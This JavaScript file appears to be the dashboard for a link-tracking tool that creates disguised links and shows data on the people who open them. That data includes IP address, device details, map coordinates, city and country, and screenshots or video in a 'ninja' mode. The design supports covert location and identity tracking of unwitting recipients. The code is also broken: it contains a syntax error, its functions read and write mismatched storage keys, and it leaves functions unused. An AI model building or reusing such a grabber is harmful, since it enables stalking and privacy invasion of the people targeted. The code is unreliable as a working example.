document.addEventListener('DOMContentLoaded', function() {
    const trackForm = document.getElementById('trackForm');
    const trackingLinksContainer = document.getElementById('trackingLinks');
    const mediaContainer = document.getElementById('mediaContainer');
    const screenshotPreview = document.getElementById('screenshotPreview');
    const videoPreview = document.getElementById('videoPreview');
    const trackingDetails = document.getElementById('trackingDetails');

    // Load tracking links from localStorage
    loadTrackingLinks();

    trackForm.addEventListener('submit', function(e) {
        e.preventDefault();
        const targetUrl = document.getElementById('targetUrl').value;
        const trackingMode = document.getElementById('trackingMode').value;
        
        // Show loading state
        const submitButton = trackForm.querySelector('button[type="submit"]');
        const originalButtonText = submitButton.innerHTML;
        submitButton.innerHTML = `<i data-feather="loader" class="loading-spinner mr-2"></i> Generating...`;
        feather.replace();

        // Generate tracking token
        const trackingToken = generateToken();
        
        // Create trackable URL
        const trackableUrl = `${window.location.origin}/track.html?token=${trackingToken}`;
        
        // Save tracking link
        saveTrackingLink({
            token: trackingToken,
            originalUrl: targetUrl,
            trackableUrl: trackableUrl,
            mode: trackingMode,
            createdAt: new Date().toISOString()
        });
        
        // Show success message with copy button
        setTimeout(() => {
            submitButton.innerHTML = originalButtonText;
            feather.replace();
            
            alert(`Your trackable link has been created:\n\n${trackableUrl}\n\nIt has been copied to your clipboard.`);
            navigator.clipboard.writeText(trackableUrl);
            
            // Reset form
            trackForm.reset();
            loadTrackingLinks();
        }, 1500);
    });

    function generateToken() {
        return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
            const r = Math.random() * 16 | 0, v = c === 'x' ? r : (r & 0x3 | 0x8);
            return v.toString(16);
        });
    }
    // Database simulation functions
    function saveToDB(data, collection) {
        // In a real app, this would be a server API call
        let db = JSON.parse(localStorage.getItem('db') || '{}');
        if (!db[collection]) db[collection] = [];
        db[collection].push(data);
        localStorage.setItem('db', JSON.stringify(db));
        return data;
    }

    function queryDB(collection, queryFn) {
        let db = JSON.parse(localStorage.getItem('db') || '{}');
        if (!db[collection]) return [];
        return db[collection].filter(queryFn);
    }

    function saveTrackingLink(trackingData) {
        return saveToDB(trackingData, 'trackingLinks');
    }

    function loadTrackingLinks() {
        return queryDB('trackingLinks', () => true);
    }

    function saveTrackingResult(resultData) {
        return saveToDB(resultData, 'trackingResults');
    }

    function getTrackingResult(token) {
        return queryDB('trackingResults', r => r.token === token)[0];
    }

    function loadUserTrackingLinks() {
const trackingLinks = JSON.parse(localStorage.getItem('trackingLinks') || '[]');
        trackingLinksContainer.innerHTML = '';
        
        if (trackingLinks.length === 0) {
            trackingLinksContainer.innerHTML = '<p class="text-gray-500 text-sm">No tracking links yet</p>';
            return;
        }
        
        trackingLinks.forEach(link => {
            const linkElement = document.createElement('div');
            linkElement.className = 'tracking-link-item p-3 bg-white rounded-md flex justify-between items-center';
            linkElement.innerHTML = `
                <div class="truncate">
                    <div class="font-medium truncate">${link.originalUrl}</div>
                    <div class="text-xs text-gray-500">${new Date(link.createdAt).toLocaleString()}</div>
                </div>
                <i data-feather="chevron-right" class="text-gray-400"></i>
            `;
            
            linkElement.addEventListener('click', () => {
                showTrackingDetails(link);
            });
            
            trackingLinksContainer.appendChild(linkElement);
        });
        
        feather.replace();
    }
    function showTrackingDetails(link) {
        // Get actual tracking data from localStorage
        const trackingHistory = JSON.parse(localStorage.getItem('trackingHistory') || '[]');
        const trackingData = trackingHistory.find(data => data.token === link.token);
        
        if (!trackingData) {
            alert('No tracking data available yet for this link');
            return;
        }

        // Format tracking data for display
        const userData = trackingData.userData;
        const mockData = {
            ip: userData.ip,
            device: `${userData.device.platform} (${userData.device.userAgent})`,
            location: {9
                lat: userData.location.latitude,
                lng: userData.location.longitude,
                city: userData.location.city,
                country: userData.location.country
            },
            openedAt: trackingData.accessedAt,
            screenshot: link.mode !== 'basic' ? 'http://static.photos/technology/640x360/42' : null,
            video: link.mode === 'ninja' ? 'http://static.photos/technology/640x360/99' : null,
            browser: {
                language: userData.browser.language,
                referrer: userData.browser.referrer || 'Direct'
            },
            screen: `${userData.device.screen.width}x${userData.device.screen.height}`
        };
// Update map
        const marker = new google.maps.Marker({
            position: { lat: mockData.location.lat, lng: mockData.location.lng },
            map: window.map,
            title: "Visitor Location"
        });
        
        window.map.setCenter({ lat: mockData.location.lat, lng: mockData.location.lng });
        window.map.setZoom(8);
        // Update tracking details with additional info
        document.getElementById('ipAddress').textContent = mockData.ip;
        document.getElementById('deviceInfo').textContent = mockData.device;
        document.getElementById('locationInfo').textContent = `${mockData.location.city}, ${mockData.location.country}`;
        document.getElementById('openTime').textContent = new Date(mockData.openedAt).toLocaleString();
        
        // Add new info elements if they don't exist
        if (!document.getElementById('browserInfo')) {
            const statsContainer = document.getElementById('trackingStats');
            statsContainer.innerHTML += `
                <div><span class="font-medium">Browser:</span> <span id="browserInfo"></span></div>
                <div><span class="font-medium">Screen:</span> <span id="screenInfo"></span></div>
                <div><span class="font-medium">Referrer:</span> <span id="referrerInfo"></span></div>
            `;
        }
        
        document.getElementById('browserInfo').textContent = mockData.browser.language;
        document.getElementById('screenInfo').textContent = mockData.screen;
        document.getElementById('referrerInfo').textContent = mockData.browser.referrer;
// Update media
        if (mockData.screenshot) {
            document.getElementById('screenshotImg').src = mockData.screenshot;
            screenshotPreview.classList.remove('hidden');
        } else {
            screenshotPreview.classList.add('hidden');
        }
        
        if (mockData.video) {
            document.getElementById('trackingVideo').src = mockData.video;
            videoPreview.classList.remove('hidden');
        } else {
            videoPreview.classList.add('hidden');
        }
        
        // Show containers
        mediaContainer.classList.remove('hidden');
        trackingDetails.classList.remove('hidden');
    }

    function getRandomInRange(from, to, fixed) {
        return parseFloat((Math.random() * (to - from) + from).toFixed(fixed));
    }
});